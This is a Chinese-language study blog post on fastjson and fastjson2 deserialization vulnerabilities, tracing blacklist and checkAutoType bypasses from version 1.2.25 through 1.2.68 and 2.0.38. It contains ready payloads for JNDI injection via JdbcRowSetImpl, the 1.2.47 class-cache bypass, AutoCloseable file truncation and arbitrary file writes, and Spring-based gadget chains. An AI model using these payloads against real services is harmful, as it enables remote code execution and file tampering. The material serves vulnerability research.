fastjsonのtwo!

前言

在之前分析了反序列化的过程后,跟在su18师傅学其他版本的绕过
c,快期末了,考试是真的多,课也是真的多!!!,老师也是真的…,好多作业,啊啊啊,好想只用学java的日子,o(╥﹏╥)o

测某平台是真的难蹦

fastjson-1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

影响版本:1.2.25 <= fastjson <= 1.2.41

com.alibaba.fastjson.parser.ParserConfig

1
2
3
private boolean                                         autoTypeSupport = AUTO_SUPPORT;
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;

默认AUTO_SUPPORT为false字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。

添加白名单就从这个入手

1
2
3
public final static String DENY_PROPERTY = "fastjson.parser.deny";
public final static String AUTOTYPE_ACCEPT = "fastjson.parser.autoTypeAccept";
public final static String AUTOTYPE_SUPPORT_PROPERTY = "fastjson.parser.autoTypeSupport";
  1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(xxx”)
  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=xxx
  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=xxx

还是按照之前jndi,payload调试看看和之前哪里不一样了

image-20231127144859759

发现在这会检查我们的类,之前在这里没有检查就加载字节码了

看看checkAutoType函数的逻辑

image-20231127145224159

首先会看是否开启允许开启任意类的反序列化,先看类名是不是白名单里的类,是的话就会直接加载字节码,不是就会看是不是黑名单的类

在看后面

image-20231127145731738

如果不允许自定义反序列化的,还是会看是不是黑名单和白名单的类来加载字节码,虽然抛出错误是autotype,其实还是黑名单和白名单的事,只有白名单才能加载字节码

再然后就是就和之前差不多,就不用分析了

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

所以想要利用要么有这个白名单,但是那是基本不可能的,所以条件得是在运行自定义反序列化条件下,想办法绕过黑名单了,之前也分析过,在loadclass方法下

image-20231127150529441

会将L和;或者[去除再来加载字节码,所以这里有个逻辑漏洞,所以这个漏洞也可以用在之前的版本

所以payload直接就是

1
2
3
4
5
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:9999/baicany\",\n" +
" \"autoCommit\":true}";
JSON.parse(json);

astjson-1.2.42

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

还是关注 com.alibaba.fastjson.parser.ParserConfig 这个类,作者将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。

1
2
this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};
long[] hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length];

在checkautotype中把之前的判断逻辑全换成了hash来判断….,

image-20231127153812002

image-20231127153549456

然后再classload中改了会将L和;去除再loadclass一遍,这样也并没有什么区别和之前

双写绕过就可以了

1
2
3
4
5
6
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:9999/baicany\",\n" +
" \"autoCommit\":true}";
JSON.parse(json);
}

fastjson-1.2.43

这个版本主要是修复上一个版本中双写绕过的问题。

描述:上有政策,下有对策。在 L; 被进行了限制后,安全研究人员将目光转向了 [

可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常,

image-20231128104543004

exp:

1
2
3
4
5
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\n" +
" {\"dataSourceName\":\"rmi://127.0.0.1:9999/baicany\",\n" +
" \"autoCommit\":true}";
JSON.parse(json);

fastjson-1.2.44

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

image-20231128105326486

fastjson-1.2.45

在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:9999/baicany"
}
}

fastjson-1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport 影响版本:1.2.33 <= fastjson <= 1.2.47 描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66 ,里面包含了这次通杀漏洞的 payload。

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过 java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

checkAutoType()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
类名<128&&>=3
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;//;
long PRIME = 1099511628211L;//L
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
不能开头为[
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
//不能[开头;结尾
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
// autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 在对比 denyHashCodes 进行黑名单匹配
// 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
// 则抛出异常
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 尝试在 deserializers 中查找这个类
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
// 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
if (!this.autoTypeSupport) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
// 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

...
}
}

由以上代码可知,这里存在一个逻辑问题:autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这就和之前那个逻辑不一样了,之前就是直接报错了,这里还要判断缓存了再报错。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。

在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。如何才能在这两步中将我们的恶意类加载进去呢?

先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig ,是一个 IdentityHashMap,能向其中赋值的函数有:

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)

同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:

  • addBaseClassMappings():无入参,加载
  • loadClass():关键函数

先看怎么能调用loadclass方法

com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法中,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口。

1
this.deserializers.put(Class.class, MiscCodec.instance);

如果 parser.resolveStatus2 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}

if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);

后面的逻辑如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:

1
2
3
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

这就完成了恶意类的加载,组成了我们所有的恶意调用链。但是如何在第二步进入 if 语句呢?这中间的调用链是什么样的呢?我们先构造一个 json :{"@type":"java.lang.Class","val":"aaaaa"} ,调试一下:

由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。

image-20231128162814176

DefaultJSONParser.parseObject() 设置 resolveStatus 为 2

image-20231128162835343

1
obj = deserializer.deserialze(this, clazz, fieldName);

解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 “val” 将会报错。

image-20231128163024678

然后进入

1
2
3
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

然后会调用重载方法,默认开启缓存

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

在cache为true下,就能讲我们类加载进去

1
2
3
4
5
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
String json = "{\n" +
" \"baicany\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"ycxlo\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:9999/baicany\",\n" +
" \"autoCommit\": true\n" +
" }\n" +
"}}";
JSON.parse(json);

fastjson-1.2.68

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}

这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

影响版本:fastjson <= 1.2.68 描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 ThrowableAutoCloseable 进行绕过。

版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType,不得不说,这是一个一劳永逸的修复方式。

1
2
3
4
5
int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}

但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()

1
2
3
4
5
6
7
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
}

所以我们需要一个在mappings或者白名单的类并且是Throwable子类,并且能提供我们利用的方法不然首先就解决不了clazz != null的问题

还有一种方式就是

这种就是不需要有这个clazz了

1
2
3
4
5
6
7
8
 else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
expectClassFlag = true;
}
...
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
}

Throwable

接下来我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer#deserialze() 方法直接将 @type 后的值传入 checkAutoType() ,并且 expectClass 为 Throwable.class

1
2
3
4
5
6
7
8
9
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}

String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
lexer.nextToken(16);
}

在check之后就会实例化我们的对象了

1
2
3
4
5
try {
ex = this.createException(message, cause, exClass);
if (ex == null) {
ex = new Exception(message, cause);
}

AutoCloseable

commons-io 2.4 ,fastjson 1.2.68

TypeUtils.mappings 中含有相当多的类,其中就包括了接口 java.lang.AutoCloseable

该类型使用的是JavaBeanDeserializer反序列化器,在通过该反序列化器实例化对象时由于该类型为接口,将会继续解析下一个JSON字段,如果存在且为类型,则将 java.lang.AutoCloseable 作为 expectClass 参数传入checkAutoType检测下一个类型是否合法,在上面分析过,差不多

这2个payload就…,

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

Fastjson2 黑名单 Bypass 与利用

依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.38</version>
</dependency>

这个版本和之前并不一样了,只是parse(stirng)的话,就不会调用set方法了,并且只有开了支持自定义反序列化

调试跟进到ObjectReaderImplObject.readObject方法

1
2
3
4
5
6
7
8
9
else {
jsonReader.nextIfObjectStart();
long hash = 0L;
if (jsonReader.isString()) {
hash = jsonReader.readFieldNameHashCode();
if (hash == HASH_TYPE) {
boolean supportAutoType = context.isEnabled(Feature.SupportAutoType);
ObjectReader autoTypeObjectReader;
if (supportAutoType) {

这里会判断一个是不是type的hash,是的话就会判断是否支持自定义反序列化

如果不支持就会

1
2
3
4
5
6
7
else {
typeName = jsonReader.readString();
autoTypeObjectReader = context.getObjectReaderAutoType(typeName, (Class)null);
if (autoTypeObjectReader == null && jsonReader.getContext().isEnabled(Feature.ErrorOnNotSupportAutoType)) {
throw new JSONException(jsonReader.info("autoType not support : " + typeName));
}
}

跟进getObjectReaderAutoType方法到getObjectReader方法,首先会checkAutoType,跟进

开启了保护模式的话就肯定不行,没开启的话,类名不能大于192,第一个字符是[会去除了,再检查一遍,再判断是不是期望的类,是的话就会触发afterAutoType方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (SAFE_MODE) {
return null;
} else {
int typeNameLength = typeName.length();
if (typeNameLength >= 192) {
throw new JSONException("autoType is not support. " + typeName);
} else {
if (typeName.charAt(0) == '[') {
String componentTypeName = typeName.substring(1);
this.checkAutoType(componentTypeName, (Class)null, features);
}if (expectClass != null && expectClass.getName().equals(typeName)) {
this.afterAutoType(typeName, expectClass);
return expectClass;
}

如果不是期待类的话,会判断是否支持autoTypeSupport,

支持的话,还是和之前一样跟白名单,和黑名单比较,然后送进afterAutoType函数,但是这里并没有像之前一堆hash判断 [ L ;了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
else {
boolean autoTypeSupport = (features & Feature.SupportAutoType.mask) != 0L;
Class clazz;
long hash;
int i;
char ch;
if (autoTypeSupport) {
hash = -3750763034362895579L;

for(i = 0; i < typeNameLength; ++i) {
ch = typeName.charAt(i);
if (ch == '$') {
ch = '.';
}

hash ^= (long)ch;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName);
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

this.afterAutoType(typeName, clazz);
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

如果不支持的话,就先会和黑名单比较,跟之前差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (!autoTypeSupport) {
hash = -3750763034362895579L;

for(i = 0; i < typeNameLength; ++i) {
ch = typeName.charAt(i);
if (ch == '$') {
ch = '.';
}

hash ^= (long)ch;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName);
if (clazz != null && expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

this.afterAutoType(typeName, clazz);
return clazz;
}
}
}

如果白名单黑名单都没有的话,且没有开启支持自定义反序列化就归还null了,这里跟之前相比,之前会先走下面的,从map里面先找加载的类,没找到再走,这如果map里面有类的话还是会有afterAutoType方法,只有没有这个class,才会直接加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if (!autoTypeSupport) {
return null;
} else {
clazz = TypeUtils.getMapping(typeName);
if (clazz != null) {
if (expectClass != null && expectClass != Object.class && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
this.afterAutoType(typeName, clazz);
return clazz;
}
} else {
clazz = TypeUtils.loadClass(typeName);
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
this.afterAutoType(typeName, clazz);
return clazz;
}

if ((features & Feature.IgnoreAutoTypeNotMatch.mask) != 0L) {
return expectClass;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

this.afterAutoType(typeName, clazz);
return clazz;
}

这次发现里面会有

判断是否为 SQLDataSourceOrRowSet 类型的类

1
2
3
4
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

进afterAutoType方法看看,发现afterAutoType是给map里面加我们class类的,看向loadclass,发现还是允许我们去绕过哪些类

image-20231129195350933

回到一开始,毕竟我们这里是从不开分析了,如果开了,最后ObjectReaederImpIMap会调用到,这里也会触发getObjectReaderAutoType方法

1
2
3
4
if (autoTypeObjectReader == null) {
typeName = jsonReader.getString();
autoTypeObjectReader = context.getObjectReaderAutoType(typeName, (Class)null);
}

用之前的poc并不行了

1
2
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi",
"AutoCommit":"true"}

因为里面有SQLDataSourceOrRowSet类型的类

image-20231129202752417

要找到可以利⽤的POC也简单,只需要找⼀个不是 Datasource 相关的类即可。如下:

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency

poc

1
2
3
4
5
6
7
public static void main(String[] args) {
String poc = "{\"@type\":\"Lorg.apache.xbean.propertyeditor.JndiConverter;\",\"asText\":\"rmi://127.0
.0.1:8089/test\"}";
Object obj = JSON.parse(poc, JSONReader.Feature.UseNativeObject,
JSONReader.Feature.SupportAutoType);
System.out.println(obj);
}

Spring框架中的依赖利用

为了继续深⼊找到⼀个被更加⼴泛引⼊的利⽤类,有个大哥对spring进⾏了进⼀步查找,发现在Spring中存在这么⼀个 类: org.springframework.jndi.JndiObjectTargetSource ,这个类有⼀个 getTarget 方法,可以触发 JNDI的调⽤。下面是⼀个最小调用的demo。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
String poc3 = "{\n" +
"
\"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
" \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
" \"jndiTemplate\": {\n" +
" \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
" \"environment\": {\n" +
" \"java.naming.factory.initial\":
\"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
" }\n" +
" }\n" +
"}";
JndiObjectTargetSource o = (JndiObjectTargetSource) JSON.parse(poc3,
JSONReader.Feature.SupportAutoType);
o.getTarget();

为了让这个利⽤更加好⽤,还需要想⼀个办法让他能⾃动调⽤到 JndiObjectTargetSource 对象的 getTarget ⽅法。

⼀条调⽤路径为: setXXX -> toString -> getTarget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"@type":"javax.swing.plaf.basic.BasicComboBoxEditor",
"item":{
"@type":"com.alibaba.fastjson2.JSONObject",
"a": {
"@type":"Lorg.springframework.jndi.JndiObjectTargetSource;",
"jndiName": "rmi://127.0.0.1:12312/Exp",
"jndiTemplate": {
"@type":"org.springframework.jndi.JndiTemplate",
"environment": {
"java.naming.factory.initial":
"com.sun.jndi.rmi.registry.RegistryContextFactory"
}
}
}
}
}

Fastjson2 在构造 BasicComboBoxEditor 对象时,会调⽤它的 setItem ⽅法,而 setItem ⽅法会调用到
JSONObject 的 toString ⽅法,然后会进⼀步调⽤到 JndiObjectTargetSource 的 getTarget ⽅法。
完整利⽤demo如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
String poc = "{\n" +
" \"@type\":\"javax.swing.plaf.basic.BasicComboBoxEditor\",\n" +
" \"item\":{\n" +
" \"@type\":\"com.alibaba.fastjson2.JSONObject\",\n" +
" \"a\": {\n" +
"
\"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
" \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
" \"jndiTemplate\": {\n" +
"
\"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
" \"environment\": {\n" +
" \"java.naming.factory.initial\":
\"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
Object o = (Object) JSON.parse(poc, JSONReader.Feature.SupportAutoType);

其实这种bypass也不是Fastjson2全版本通杀的,原因在于只有 2.0.14 版本开始,loadClass 才会对 L 和 ; 进 ⾏处理。

参考

https://www.javasec.org/java-vuls/FastJson.html

Fastjson 68 commons-io AutoCloseable | 素十八 (su18.org)

https://www.ctfiot.com/132404.html